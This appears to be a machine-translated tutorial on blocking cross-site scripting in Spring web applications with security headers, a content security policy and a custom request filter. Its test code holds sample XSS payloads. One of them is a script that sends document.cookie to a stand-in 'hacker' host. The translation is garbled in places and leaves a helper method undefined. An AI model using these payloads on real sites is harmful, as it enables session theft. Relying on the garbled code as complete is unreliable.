Prevent cross-site scripting (XSS) in Spring applications
1 Overview
When building Spring Web applications, it is important to focus on security. Cross-site scripting (XSS) is one of the most critical attacks on web security.
In Spring applications, preventing XSS attacks is a challenge. Spring provides some help, but we need to implement additional code to provide complete protection.
In this tutorial, we will use the available Spring Security features and add our own XSS filter.
2.What is a cross-site scripting (XSS) attack?
2.1. Definition of the problem
XSS is a common type of injection attack. In XSS, an attacker attempts to execute malicious code in a web application. They interact with it through a web browser or HTTP client tools such as Postman.
There are two types of XSS attacks:
Reflective or non-persistent XSS
Stored or persistent XSS
In Reflected or Nonpersistent XSS, untrusted user data is submitted to a web application, and the web application will immediately return in the response, thereby adding untrusted content to the page. The web browser assumes that the code comes from the web server and executes it. This may cause the hacker to send you a link that, when tracked, will cause your browser to retrieve your private data from the site you use, and then cause your browser to forward it to the hacker's server.
In "stored or persistent XSS", the attacker's input is stored by the web server. Subsequently, any future visitors can execute the malicious code.
2.2. Defend against attacks
The main strategy to prevent XSS attacks is to clear user input.
In a Spring web application, the user's input is an HTTP request. To prevent attacks, we should check the content of the HTTP request and delete all content that may be executed in the server or browser.
For regular web applications accessed through a web browser, we can use Spring Security's built-in features (Reflected XSS). For web applications that expose APIs, Spring Security does not provide any functionality, and we must implement a custom XSS filter to prevent XSS from being stored.
3.Use Spring Security to make the application XSS secure
Spring Security provides several security headers by default. It includes the X-XSS-Protection
header. X-XSS-Protection
Tell the browser to block things that look like XSS. Spring Security can automatically add this security header to the response. To activate it, we configure XSS support in the Spring Security configuration class.
With this feature, the browser will not render when it detects an XSS attempt. However, some web browsers have not yet implemented an XSS auditor. In this case, they do not use X-XSS-Protection
headers. .
To solve this problem, we can also use the content security policy (CSP) feature.
CSP is an additional layer of security that helps mitigate XSS and data injection attacks. To enable it, we need to provide the WebSecurityConfigurerAdapter
beanContent-Security-Policy
@Configuration
public class SecurityConf extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.headers()
.xssProtection()
.and()
.contentSecurityPolicy("script-src 'self'");
}
}
These headers can indeed protect the REST API from stored XSS. In order to solve this problem, we may also need to implement an XSS filter.
4.Create an XSS filter
4.1. Use XSS filter
To prevent XSS attacks, we will RestController
remove all suspicious strings from the request content before passing the request to:
The HTTP request content includes the following parts:
Request header
Parameters
Request body
Generally, for every request , we should remove malicious code from headers, parameters, and body.
We will create a filter to evaluate the requested value. The XSS filter checks the parameters, headers and body of the request.
Let's Filter
create an XSS filter by implementing the interface:
@Component
@Order(Ordered.HIGHEST_PRECEDENCE)
public class XSSFilter implements Filter {
@Override
public void doFilter(ServletRequest request, ServletResponse response,
FilterChain chain) throws IOException, ServletException {
XSSRequestWrapper wrappedRequest =
new XSSRequestWrapper((HttpServletRequest) request);
chain.doFilter(wrappedRequest, response);
}
// other methods
}
We should configure the XSS filter as the first filter in the Spring application. Therefore, we set the order of the filters to HIGHEST_PRECEDENCE
.
In order to add data cleansing to the request, we will create a named XSSRequestWrapper,
HttpServletRequestWrapper
subclass, which will override getParameterValues
, getParameter
and getHeaders
methods to perform XSS checks before providing data to the controller.
4.2. Strip XSS from request parameters
Now, let's getParameterValues
sum in the request wrappergetParameter
public class XSSRequestWrapper extends HttpServletRequestWrapper {
@Override
public String[] getParameterValues(String parameter) {
String[] values = super.getParameterValues(parameter);
if (values == null) {
return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;
}
@Override
public String getParameter(String parameter) {
String value = super.getParameter(parameter);
return stripXSS(value);
}
}
We will write a stripXSS
function to handle each value. We will implement it as soon as possible.
4.3. Strip XSS from request header
We also need to strip the XSS from the request header. When getHeaders
returning one Enumeration
we will need to generate a new list to clean up each header:
@Override
public Enumeration getHeaders(String name) {
List result = new ArrayList<>();
Enumeration headers = super.getHeaders(name);
while (headers.hasMoreElements()) {
String header = headers.nextElement();
String[] tokens = header.split(",");
for (String token : tokens) {
result.add(stripXSS(token));
}
}
return Collections.enumeration(result);
}
4.4. Strip the XSS from the request body
Our filter needs to remove dangerous content from the request body. Since we already have wrappedRequest
InputStream
a wrappedRequest that can be used, let's extend the code to handle the body and after clearing itInputStream
@Override
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
throws IOException, ServletException {
XSSRequestWrapper wrappedRequest = new XSSRequestWrapper((HttpServletRequest) request);
String body = IOUtils.toString(wrappedRequest.getReader());
if (!StringUtils.isBlank(body)) {
body = XSSUtils.stripXSS(body);
wrappedRequest.resetInputStream(body.getBytes());
}
chain.doFilter(wrappedRequest, response);
}
5.Use external libraries for data cleaning
Now, all the code that reads the request stripXSS
executes the stripXSS function on any content provided by the user. Now let's create the function to perform XSS check.
First, this method will get the requested value and normalize it. For this step, we use ESAPI . ESAPI is an open source web application security control library available from OWASP.
Second, we will check the requested value based on the XSS mode. If the value is suspicious, it will be set to an empty string. For this, we will use Jsoup, which provides some simple cleanup functions. If we want more control, we can build our own regular expressions, but this may be more error-prone than using libraries.
5.1 Dependency
First, we add the esapi
maven dependency to our pom.xml
file:
<dependency>
<groupId>org.owasp.esapi</groupId>
<artifactId>esapi</artifactId>
<version>2.2.2.0</version>
</dependency>
In addition, we need jsoup
:
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.13.1</version>
</dependency>
5.2 Code implementation
Now, let's create the stripXSS
method:
public static String stripXSS(String value) {
if (value == null) {
return null;
}
value = ESAPI.encoder()
.canonicalize(value)
.replaceAll("\0", "");
return Jsoup.clean(value, Whitelist.none());
}
Here, we set Jsoup Whitelist
to none
allow only text nodes. In this way, all HTML will be stripped.
6.Test XSS prevention
6.1. Manual test
Now, let's use Postman to send suspicious requests to our application. We will /personService/person
send a POST message to the URI . In addition, we will include some suspicious headers and parameters.
The following figure shows the request headers and parameters:
When our service accepts JSON data, let's add some suspicious JSON content to the request body:
When our test server returns a clear response, let's check what happened:
The header and parameter values will be replaced with empty strings. In addition, the response body shows that our lastName
suspicious value in the field has been deleted.
6.2. automated test
Now let's write an automated test for XSS filtering:
// declare required variables
personJsonObject.put("id", 1);
personJsonObject.put("firstName", "baeldung <script>alert('XSS')</script>");
personJsonObject.put("lastName", "baeldung <b onmouseover=alert('XSS')>click me!</b>");
builder = UriComponentsBuilder.fromHttpUrl(createPersonUrl)
.queryParam("param", "<script>");
headers.add("header_1", "<body onload=alert('XSS')>");
headers.add("header_2", "<span onmousemove='doBadXss()'>");
headers.add("header_3", "<SCRIPT>var+img=new+Image();"
+ "img.src=\"http://hacker/\"%20+%20document.cookie;</SCRIPT>");
headers.add("header_4", "<p>Your search for 'flowers <script>evil_script()</script>'");
HttpEntity<String> request = new HttpEntity<>(personJsonObject.toString(), headers);
ResponseEntity<String> personResultAsJsonStr = restTemplate
.exchange(builder.toUriString(), HttpMethod.POST, request, String.class);
JsonNode root = objectMapper.readTree(personResultAsJsonStr.getBody());
assertThat(root.get("firstName").textValue()).isEqualTo("baeldung ");
assertThat(root.get("lastName").textValue()).isEqualTo("baeldung click me!");
assertThat(root.get("param").textValue()).isEmpty();
assertThat(root.get("header_1").textValue()).isEmpty();
assertThat(root.get("header_2").textValue()).isEmpty();
assertThat(root.get("header_3").textValue()).isEmpty();
assertThat(root.get("header_4").textValue()).isEqualTo("Your search for 'flowers '");
7.Conclusion
In this article, we learned how to prevent XSS attacks by using Spring Security features and custom XSS filters at the same time.
We saw how it protects us from reflective XSS attacks and persistent XSS attacks. We also studied how to use Postman and JUnit tests to test applications.
Tags
2 Comments

Is there an implementation of resetInputStream& #40;& #41; available ? I don& #39;t see one here
Natch
2022-05-11
This is just what I& #39;ve been looking for! Can you provide the code in GitHub?
ADS
2022-08-19